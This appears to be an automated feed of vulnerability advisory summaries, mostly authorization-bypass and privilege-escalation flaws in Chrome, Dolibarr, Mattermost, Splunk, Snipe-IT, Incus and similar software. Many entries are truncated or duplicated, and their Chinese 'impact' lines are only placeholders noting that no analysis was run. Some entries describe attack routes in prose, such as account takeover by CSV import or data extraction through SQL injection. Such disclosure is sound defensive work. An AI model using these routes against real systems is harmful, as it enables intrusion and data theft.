Incorrect authorization in Editing in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in StorageAccessAPI in Google Chrome prior to 152.0.7977.65 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Device in Google Chrome prior to 152.0.7977.65 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in SiteIsolation in Google Chrome prior to 152.0.7977.65 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in DOM in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Core in Google Chrome prior to 152.0.7977.65 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Extensions in Google Chrome prior to 152.0.7977.65 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: High)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Select in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in USB in Google Chrome prior to 152.0.7977.65 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in WebProtect in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to leak sensitive information via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Downloads in Google Chrome prior to 152.0.7977.65 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Chromoting in Google Chrome on on Windows prior to 152.0.7977.65 allowed a local attacker to bypass system access restrictions via a local program. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Affected Product phpMyFAQ ## Affected Versions - Confirmed affected: 4.1.4, API v3.1. - Confirmed affected: current main / 4.2-style source, API v4.0, for `GET /api/v4.0/faqs/tags/{tagId}` when `api.onlyActiveFaqs=true`. ## Patched Versions 4.1.5. ## Description The public FAQ API applies inconsistent `active = 'yes'` filtering across endpoints. A FAQ entry marked `active = 'no'` is hidd
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A weakness has been identified in liketrek TREK up to 3.0.22. This impacts the function validateShareTokenForAsset of the component Journey Photo Proxy. Executing a manipulation can lead to incorrect authorization. The attack can be launched remotely. This attack is characterized by high complexity. The exploitability is said to be difficult. Upgrading to version 3.1.0 will fix this issue. You sho
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password and login to obtain an unrestricted session token that bypasses all scope enforcement.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
General user can mint admin access tokens via /access-tokens This issue affects Apache DolphinScheduler: before 3.4.2. Users are recommended to upgrade to version 3.4.2, which fixes the issue.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The extension fails to require the dedicated admin confirmation token when processing an admin-approval request, so a regular user confirmation hash, obtainable by any visitor through the public resend-confirmation action, is sufficient to self-approve a pending account awaiting admin approval.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Grav Login plugin versions before 1.0.16 fail to validate the target account's privilege level in the onApiUserListRowAction unlock handler. An attacker with api.users.write permission can clear login lockout counters on admin.super accounts, removing brute-force protection from the highest-privilege accounts without requiring equivalent permissions.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary Cloudreve's file-listing responses hand the client a `context_hint` (UUID) that is meant to speed up follow-up operations. When that hint is replayed on the `file/url` (and `file/thumb`) routes, DBFS caches a `shareNavigatorState` containing the already-loaded share root and share row. On a later request carrying the same hint, `shareNavigator.RestoreState` repopulates `shareRoot`,
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Dolibarr 21.0.0 before 24.0.0 contains an authorization bypass vulnerability caused by an inverted boolean condition in the private-project membership check within the clonetasks mass action handler in htdocs/core/actions_massactions.inc.php. Authenticated users with project creation permission but without access to a target private project can exploit the flawed !in_array() check to clone tasks i
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Dolibarr before 24.0.0 contains a SQL injection vulnerability in the users REST API that allows authenticated attackers with user-read rights to extract sensitive data by splicing unsanitized filter parameters into SQL WHERE clauses without column restrictions. Attackers can perform binary search on numeric fields and LIKE prefix iteration on string fields to recover salary figures and password ve
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Dolibarr before 24.0.0 contains an improper authorization vulnerability in the payments REST API delete endpoint that allows authenticated attackers with invoice-deletion rights to permanently delete any payment record by bypassing the intended payment-issuance rights check. Attackers can exploit this misconfigured permission check to zero paid amounts on invoices and remove entries from accountin
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in the OAuth token endpoint in hexpm hexpm allows an API key holding the repositories permission to read another organization's private packages. When an API key is exchanged for a token through the OAuth client_credentials grant, validate_scopes_against_key/2 in lib/hexpm_web/controllers/api/oauth_controller.ex admits a requested scope whenever the key carri
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Dolibarr 21.0.0 before 24.0.0 contains an authorization bypass vulnerability caused by an inverted boolean condition in the private-project membership check within the clonetasks mass action handler in htdocs/core/actions_massactions.inc.php. Authenticated users with project creation permission but without access to a target private project can exploit the flawed !in_array() check to clone tasks i
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Dolibarr before 24.0.0 contains a SQL injection vulnerability in the users REST API that allows authenticated attackers with user-read rights to extract sensitive data by splicing unsanitized filter parameters into SQL WHERE clauses without column restrictions. Attackers can perform binary search on numeric fields and LIKE prefix iteration on string fields to recover salary figures and password ve
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Dolibarr before 24.0.0 contains an improper authorization vulnerability in the payments REST API delete endpoint that allows authenticated attackers with invoice-deletion rights to permanently delete any payment record by bypassing the intended payment-issuance rights check. Attackers can exploit this misconfigured permission check to zero paid amounts on invoices and remove entries from accountin
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
AzuraCast exposes the Liquidsoap custom configuration fields through an endpoint that does not require the permission guarding them. The backend_config property in backend/src/Entity/Station.php is annotated with GROUP_GENERAL, and PUT /api/station/{station_id}/profile/edit in backend/src/Controller/Api/Stations/ProfileEditController.php deserializes with that group while requiring only StationPer
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
NetworkManager did not apply the private_user restriction to the 802-1x.ca-path and phase2-ca-path directory-valued connection properties. This incomplete fix for CVE-2025-9615 allows an unprivileged local user to point a private WPA-Enterprise (802.1X) connection profile's CA path at an attacker-controlled directory, bypassing server certificate validation and enabling credential theft via a rogu
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
BookStack before 26.05.4 contains a broken access control vulnerability that allows authenticated API users with image-update or image-delete permissions to manipulate other users' avatars by exploiting missing content-type restrictions in the Image Gallery API endpoints. Attackers can supply a user avatar's ID to the API controller, which loads any image type without the web controller's gallery
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Firmware in KAON PG5298A and PG5298B routers allow an authenticated user to send crafted JSON-RPC requests and perform operations not possible via GUI, e.g. system file read or command execution. This vulnerability has been fixed in firmware version: 3.0.82 for PG5298A and 4.0.82 for PG5298B.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
PasswordPusher versions v1.45.11 through v2.9.5 contain an improper authorization vulnerability in the push deletion logic. The ownership check compares @push.user against current_user; for an anonymously created push both values are nil, and Ruby evaluates nil == nil as true, so the check passes and the deletable_by_viewer restriction is never enforced. An attacker who knows only the secret URL c
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
SiYuan versions before v3.8.0 contain an incomplete path blocklist in the MCP file tool that fails to restrict access to sensitive workspace files protected by the HTTP API. Authenticated administrators can read plaintext publish-mode passwords from data/.siyuan/publishAccess.json and access other sensitive files like data/templates and data/snippets/conf.json.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Post Duplicator plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.0.11. This is due to the `duplicate_post_permissions()` permission callback only verifying the `duplicate_posts` capability without checking whether the requesting user holds `publish_posts` or other status-gated capabilities. This makes it possible for authenticated attackers, wi
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Improper input validation in FreeRTOS-Kernel before 11.3.1 might allow an unprivileged task on MPU-enabled ports to execute code in privileged kernel context. To remediate this issue, users should upgrade to version 11.3.1 or later.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incus is a system container and virtual machine manager. Prior to version 7.3.0, when copying an instance across projects, the project restriction check (`AllowInstanceCreation`) runs BEFORE the source instance's configuration is merged into the request. Dangerous configuration keys (including `security.privileged`, `raw.lxc`, `raw.apparmor`) from the source instance are merged AFTER the check pas
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incus is a system container and virtual machine manager. Prior to version 7.3.0, project-level enforcement of `restricted.containers.privilege=isolated` can be trivially bypassed, allowing a user to create a non-isolated (shared host idmap) container in a project that is configured to forbid them. The restriction only rejects an explicitly set `security.idmap.isolated=false` (or empty) and fails t
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In Spring AI's tool calling support, the per-request tool list is advertised to the model as a boundary but is not fully enforced when a tool call is dispatched. Under certain conditions, a tool that was not made available to the current request could be invoked, potentially leading to privilege escalation. Affected versions: Spring AI: 2.0.0 Spring AI: 1.1.0 through 1.1.8 Spring AI: 1.0.0 through
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Passster WordPress plugin before 4.3.9 does not correctly match its own public endpoint paths when deciding which REST API requests may bypass global password protection, comparing them as an unanchored substring of the request URI rather than against the resolved route, allowing an unauthenticated attacker to read the content of globally password-protected posts and pages.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Dokan: AI Powered WooCommerce Multivendor Marketplace Solution WordPress plugin before 5.0.14 does not validate a client-supplied payment amount against the vendor's actual outstanding balance when recording a reverse-withdrawal payment, allowing a vendor to credit their reverse-withdrawal ledger with an arbitrary amount and clear their real commission debt without paying.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Azure Arc allows an unauthorized attacker to elevate privileges over a network.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Azure Arc allows an unauthorized attacker to elevate privileges over a network.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Workers in Google Chrome prior to 151.0.7922.173 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to bypass web origin policy via a crafted HTML page. (Chromium security severity: High)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Impact Affected versions of Winter CMS did not enforce the `ImportExportController` behavior's granular access control on the handlers that actually perform the work. The behavior supports per-operation access control through the `import[permissions]` and `export[permissions]` configuration keys, enforced by `userHasAccess()`. That check was applied only to the `import()` and `export()` page
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Windmill is an open-source developer platform for internal code: APIs, background jobs, workflows and UIs. Prior to 1.715.0, a resource-scoped API token could read script contents outside its allowed path scope through GET /api/w/{workspace}/scripts/list_search. The route-level scope middleware validated the token domain and action but did not enforce the resource/path segment, and the list_search
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Windmill is an open-source developer platform for internal code: APIs, background jobs, workflows and UIs. Prior to 1.715.0, a resource-scoped API token could read script contents outside its allowed path scope through GET /api/w/{workspace}/scripts/list_search. The route-level scope middleware validated the token domain and action but did not enforce the resource/path segment, and the list_search
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in frozen BI aggregations in Checkmk <2.5.0p2, <2.4.0p29, <2.3.0p47, and all 2.2.0 versions allows an authenticated user with restricted host and service visibility to learn the names and the existence of hosts and services they are not authorized to see.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A low privileged remote attacker with a valid session can submit a request to the user creation functionality exposed through /api/user/add.php to create new accounts with arbitrary role values, including the highest privilege level used by the application.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The GutenKit WordPress plugin before 2.5.0 does not have a sufficient capability check on some of its REST API endpoints, allowing users with the Contributor role and above to retrieve mailing-list audience metadata from the site's connected marketing account.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In Splunk AI Toolkit versions below 6.0.0, a user who does not hold the "admin" or "power" Splunk roles could run searches with system-level privileges, access all relevant data, affect system integrity, and read or delete search jobs belonging to other users through Agent Run History. The improper privilege management is possible because the Agent Run History handler replaces the calling user ses
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In Splunk SOAR versions below 8.6.0, an authenticated user with restricted tenant access could use the Representational State Transfer (REST) API to view the names and identifiers of tenants that fall outside the role scope for that user. The vulnerability is possible because Splunk SOAR does not enforce role-based tenant restrictions when it returns tenant information through the REST API in depl
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In Splunk AI Toolkit versions below 6.0.0, a user who does not hold the "admin" or "power" Splunk roles could run searches with system-level privileges, access all relevant data, affect system integrity, and read or delete search jobs belonging to other users through Agent Run History. The improper privilege management is possible because the Agent Run History handler replaces the calling user ses
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In Splunk SOAR versions below 8.6.0, an authenticated user with restricted tenant access could use the Representational State Transfer (REST) API to view the names and identifiers of tenants that fall outside the role scope for that user. The vulnerability is possible because Splunk SOAR does not enforce role-based tenant restrictions when it returns tenant information through the REST API in depl
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In Splunk Enterprise versions below 10.4.2, 10.2.6, 10.0.9, and 9.4.14, a user who holds the "power" Splunk role could store risky Search Processing Language (SPL) commands in a Table Editor dataset and share the dataset. A user who holds the "admin" Splunk role triggers the commands when that user opens the dataset in the Table Editor. The commands run using the permissions of the second user and
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In Splunk Enterprise versions below 10.4.2, 10.2.6, 10.0.9, and 9.4.14, a user who holds the "power" Splunk role could store attacker-controlled Search Processing Language (SPL) in a Table Editor dataset and share the dataset. A user who holds the "admin" Splunk role triggers the SPL when that user opens the dataset in the Table Editor. The SPL runs using the permissions of the second user and cou
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Wekan is open source kanban built with Meteor. Prior to 9.89, the second Boards.allow({ update }) rule in server/permissions/boards.js called canUpdateBoardSort in server/lib/utils.js, which authorized any board member whenever fieldNames included sort. Because Meteor combines allow rules with OR semantics and applies the complete modifier, a comment-only or read-only member could send one Boards.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Etherpad is a real-time collaborative editor. From 2.1.0 until 3.1.0, Etherpad's src/node/handler/APIHandler.ts authorizes requests to /api/2/* in the authorization_code OAuth path by using requiredClaims with the admin claim. This check requires only that the claim exists, while src/node/security/OAuth2Provider.ts issues admin: false for configured non-admin users. A non-admin user with a valid s
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Lemmy is a link aggregator and forum for the fediverse. From 0.19.18 until 0.19.19 and 1.0.0-alpha.20, a community moderator can feature or unfeature posts in other communities through federated CollectionAdd and CollectionRemove activities using CollectionType::Featured. After verify_mod_action authorizes the actor against self.community(), the receive handlers in crates/apub/activities/src/commu
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
IBM Power Systems Firmware FW1120.00, FW1110.00 through FW1110.30, and FW1060.00 through FW1060.80 is affected by a vulnerability in the interface between the BMC/FSP and the host system. An attacker with service account or root access to the BMC/FSP can access and disrupt host processor state, potentially affecting the managed system and all hosted partitions, resulting in an confidentiality, and
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Snipe-IT is an IT asset/license management system. Prior to 8.6.3, a company-scoped user in FMCS floater mode can access users whose company_id is null because broad API queries and bulk web actions do not consistently apply isCurrentUserHasAccess. The /api/v1/users and /api/v1/users/{id}/licenses endpoints can expose personal data and assigned licenses, /users/bulkeditsave can modify out-of-scope
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Snipe-IT is an IT asset/license management system. Prior to 8.5.0, a user who can edit other users can reset a superadmin's two-factor authentication through app/Http/Controllers/Api/UsersController.php postTwoFactorReset(). The endpoint authorizes update access but does not enforce canEditAuthFields before clearing two_factor_secret and two_factor_enrolled. This issue is fixed in version 8.5.0.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Snipe-IT is an IT asset/license management system. Prior to 8.6.1, a user with the import permission can use CSV update mode to overwrite the email address of a non-admin user and then request a password reset to take over that account. app/Importer/UserImporter.php applies the canEditAuthFields gate by unsetting username, email, password, and activated on the model, but app/Importer/ItemImporter.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Akaunting 3.1.21 contains an authenticated improper authorization vulnerability in the common BulkActions dispatcher.This issue affects Akaunting: 3.1.21.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
IBM Power Systems Firmware FW1120.00, FW1110.00 through FW1110.30, FW1060.00 through FW1060.80, FW950.00 through FW950.H2, OP940.00 through OP940.a1 (Power9), and OP940.00 - OP940.81 (Power HMC) is affected by a vulnerability in the interface between the BMC/FSP and the host system. An attacker with service account or root access to the BMC/FSP can write arbitrary data to hardware control register
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An authenticated user with permission to create or edit alert rules can bypass datasource query authorization by marking an alert rule query as a server-side expression while referencing a real datasource UID (incorrect authorization). This can expose data accessible through Grafana's configured datasource credentials to users who lack permission to query that datasource.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Flow-Like is a platform for building end-to-end use cases. Prior to version 1.0.4, `GET /api/v1/apps/{app_id}/invoke/presign` grants Azure Blob Storage SAS credentials with write and delete access to app content to any app member that has `ExecuteEvents`, even when that member lacks `ReadFiles` and `WriteFiles`. The route treats file permissions as optional after the `ExecuteEvents` gate. When the
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Wazuh is a free and open source platform used for threat prevention, detection, and response. From 4.9.0 until 4.10.4 and 4.14.6, PUT /security/users/{user_id} in api/api/controllers/security_controller.py passes request.get("user") instead of request.context['token_info']['sub'] as current_user. remove_nones_to_dict() removes the resulting None value, so the reserved-account protection in framewo
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Wazuh is a free and open source platform used for threat prevention, detection, and response. From 4.0.0 until 4.14.5, Wazuh Manager allows a low-privilege read-only API user with manager:read permission to retrieve the cluster key from the element in ossec.conf through GET /manager/configuration?raw=true. An attacker with network access to TCP port 1516 can use the disclosed Fernet key to imperso
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Dell Command Update (DCU), versions prior to 5.7.1, contain an Incorrect Authorization vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of privileges.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
stigmem versions before 0.9.0a12 contain a broken object level authorization vulnerability in the decay sweep endpoint that allows authenticated attackers with write credentials for one tenant to execute decay operations affecting all tenants. Attackers can submit POST requests to the decay sweep endpoint with ttl_seconds=0 to expire facts across all tenants, or use dry_run to obtain cross-tenant
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The ZFS_IOC_SET_PROP ioctl, used by zfs-set(8), incorrectly validated the calling user such that an unprivileged user is able to set metadata on a dataset indicating that the dataset has received properties from a zfs-recv(8) stream. Any local user can set the internal ZFS metadata flag "$hasrecvd" on datasets via ZFS_IOC_SET_PROP.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An incorrect authorization vulnerability exists in acmailer, which may allow a user to create a sub-account that has administrative privileges.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Malcolm's nginx Lua role-based access control (RBAC) layer decides whether an authenticated user may reach a role-restricted path (e.g. /htadmin, /auth, /admin_login, /arkime/api/esadmin, NetBox, upload endpoints) by pattern-matching the raw, percent-encoded request URI. Nginx itself, however, selects which location block actually serves the request using the percent-decoded, normalized URI. Becau
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Lemur manages TLS certificate creation. Prior to 1.9.2, PUT /api/1/roles/ in lemur/roles/views.py:298 authorized updates with RoleMemberPermission(role_id), which allowed either an administrator or any existing member of the target role. The handler passed data["users"] and data["name"] to service.update, allowing a non-admin member to add or remove other users and rename the role. This enabled la
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Lemur manages TLS certificate creation. Prior to 1.9.1, StrictRolePermission and AuthorityCreatorPermission in lemur/auth/permissions.py call flask_principal.Permission.__init__() with zero Need objects when ADMIN_ONLY_AUTHORITY_CREATION and LEMUR_STRICT_ROLE_ENFORCEMENT are unset because both flags default to False. Flask-Principal Permission.allows() returns True when self.needs is empty, so the
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
authentik is an open-source identity provider. Prior to 2026.2.6 and 2026.5.5, the Remote Access Control endpoint list returns every configured endpoint to any authenticated user regardless of which applications the user may access, and the response includes connection settings that can contain stored credentials. The endpoint listing does not apply the access controls governing the endpoints, and
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
MyBB is free and open source forum software. Prior to 1.8.40, the calendar module does not validate moderation permissions for the destination calendar when moving events. A user with moderation permission for the source calendar can move an event to a calendar where the user has only viewing permission because the do_move action in calendar.php does not check canmoderateevents for the target cale
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
MyBB is free and open source forum software. Prior to 1.8.40, the calendar module does not check permissions consistently when listing calendars, allowing authenticated users to access titles of calendars that are otherwise inaccessible. The affected calendar-selection paths in calendar.php perform permission checks against an invalid calendar context before returning calendar titles. The uniquely
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Copyparty is a portable file server. Prior to 1.20.17, copyparty volumes with the dk or dks directory-key flag combined with the fk or fka file-key flag can convert a valid file key into a directory key, granting read access to the containing folder. This vulnerability was only reachable if both types of keys (filekeys and dirkeys) were manually enabled in the volume flags simultaneously. This iss
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
SiYuan before v3.7.4 contains an incorrect authorization vulnerability in eight publish-mode reader-facing endpoints that filter results using the visibility list instead of the disabled list. Anonymous visitors can discover and read content from documents explicitly marked as forbidden from publishing by accessing search, backlink, asset content, saved criteria, recent documents, graph, and tag e
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.7.x <= 11.7.6, 10.11.x <= 10.11.21, 11.8.x <= 11.8.3 fail to validate BoardMember.Scheme* fields server-side on insert and archive-import paths which allows a board editor or non-guest team member to grant board admin to arbitrary users via POST /api/v2/boards/{boardID}/members and POST /api/v2/teams/{teamID}/archive/import.. Mattermost Advisory ID: MMSA-2026-00685
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.7.x <= 11.7.6, 10.11.x <= 10.11.21, 11.8.x <= 11.8.3 fail to enforce PermissionManageBoardRoles on the channelId field of the batch endpoint, which allows an authenticated board editor to relink any board they can edit to an arbitrary channel via a crafted PATCH request. Mattermost Advisory ID: MMSA-2026-00686
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
This vulnerability only affects Grafana stacks configured with multiple organizations; single-organization deployments are not impacted. In a multi-organization stack, a user who is an Org Admin of a single organization can call GET /api/access-control/users/permissions/search?actionPrefix=dashboards: and receive permission data belonging to other organizations. The disclosed data is limited to da
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.7.x <= 11.7.6, 10.11.x <= 10.11.21, 11.8.x <= 11.8.3 fail to enforce PermissionManageBoardRoles on the channelId field of the batch endpoint, which allows an authenticated board editor to relink any board they can edit to an arbitrary channel via a crafted PATCH request. Mattermost Advisory ID: MMSA-2026-00686
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.7.x <= 11.7.6, 10.11.x <= 10.11.21, 11.8.x <= 11.8.3 fail to validate BoardMember.Scheme* fields server-side on insert and archive-import paths which allows a board editor or non-guest team member to grant board admin to arbitrary users via POST /api/v2/boards/{boardID}/members and POST /api/v2/teams/{teamID}/archive/import.. Mattermost Advisory ID: MMSA-2026-00685
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Onyx is an open-source AI platform. Prior to 3.1.10, 3.2.14, and 4.0.0, Onyx's GET /api/mcp/servers and GET /api/mcp/servers/persona/{persona_id} endpoints expose another user's OAuth Authorization header because OnyxTokenStorage.set_tokens and OnyxTokenStorage.set_client_info in backend/onyx/server/features/mcp/api.py copy per-user tokens into a shared admin MCPConnectionConfig row and _db_mcp_se
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
